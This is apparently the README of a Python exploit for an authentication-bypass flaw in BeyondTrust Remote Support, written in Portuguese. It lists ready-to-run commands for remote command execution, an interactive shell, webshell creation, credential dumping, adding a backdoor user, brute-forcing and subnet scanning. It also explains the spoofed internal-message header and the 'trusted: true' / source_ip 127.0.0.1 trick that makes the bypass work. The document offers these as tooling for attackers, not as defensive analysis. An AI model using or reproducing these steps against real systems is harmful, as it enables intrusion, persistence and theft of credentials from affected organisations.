Exploit em Python para CVE-2026-102764 no BeyondTrust Remote Support: falsifica mensagens de serviço internas para contornar a autenticação e, em seguida, lê/grava arquivos, executa comandos e extrai credenciais.
Vulnerabilidade de Bypass de Autenticação por Spoofing
CVSS v3.1: 9.8 (CRÍTICO) | CWE-290 | Exploração Ativa (CISA BOD 26-04)
BeyondTrust Remote Support ≤ v26.2.3
Componentes internos do BeyondTrust Remote Support não validam adequadamente a origem das mensagens. Um atacante pode falsificar mensagens de serviços internos para contornar a autenticação e realizar operações de arquivo no appliance (ler, escrever, excluir, listar), executar comandos e muito mais.
# Quick vulnerability test
python3 exploit.py <target_ip> test
# Enumerate files
python3 exploit.py <target_ip> list /
# Read a file
python3 exploit.py <target_ip> read /opt/beyondtrust/rbs/config/config.xml
# Write a file
python3 exploit.py <target_ip> write /tmp/test.txt "Hello World"
# Execute command
python3 exploit.py <target_ip> exec "id"
# Interactive shell
python3 exploit.py <target_ip> shell
# Upload file
python3 exploit.py <target_ip> upload /remote/path /local/path
# Download file
python3 exploit.py <target_ip> download /remote/path /local/path
# Create webshell
python3 exploit.py <target_ip> webshell
# Gather info
python3 exploit.py <target_ip> info
# Dump credentials
python3 exploit.py <target_ip> creds
# Add backdoor user
python3 exploit.py <target_ip> add-user rbs-backdoor Backdoor123!
# Brute force credentials
python3 exploit.py <target_ip> brute-force
# List active sessions
python3 exploit.py <target_ip> sessions
# Scan critical files
python3 exploit.py <target_ip> scan-files
| Flag | Descrição |
|---|---|
--port, -p | Porta de destino (detecção automática por padrão) |
--no-ssl | Desativar SSL/TLS |
--timeout, -t | Tempo limite de conexão (segundos) |
--retries, -r | Número de tentativas |
--service, -s | Nome do serviço falsificado |
--verbose, -v | Saída detalhada |
--json | Saída JSON |
--scan | Escanear uma sub-rede |
--output, -o | Arquivo de saída |
python3 exploit.py --scan 192.168.1.0/24
O exploit funciona criando mensagens binárias falsificadas com o cabeçalho do protocolo interno do BeyondTrust:
+--------+--------+------+----------+--------+---------+
| Magic | Type | Flag | Length | SID | Checksum|
| 6 bytes| 1 byte | 1 byte| 4 bytes| 4 bytes| 4 bytes |
+--------+--------+------+----------+--------+---------+
| Payload (JSON) |
+--------------------------------------------------------------------+
O truque principal é definir trusted: true e source_ip: "127.0.0.1" no payload JSON, o que engana o appliance para aceitar a mensagem como vinda de um serviço interno.
Após obter acesso, use os módulos integrados para:
/opt/beyondtrust/rbs/webapp/shell.php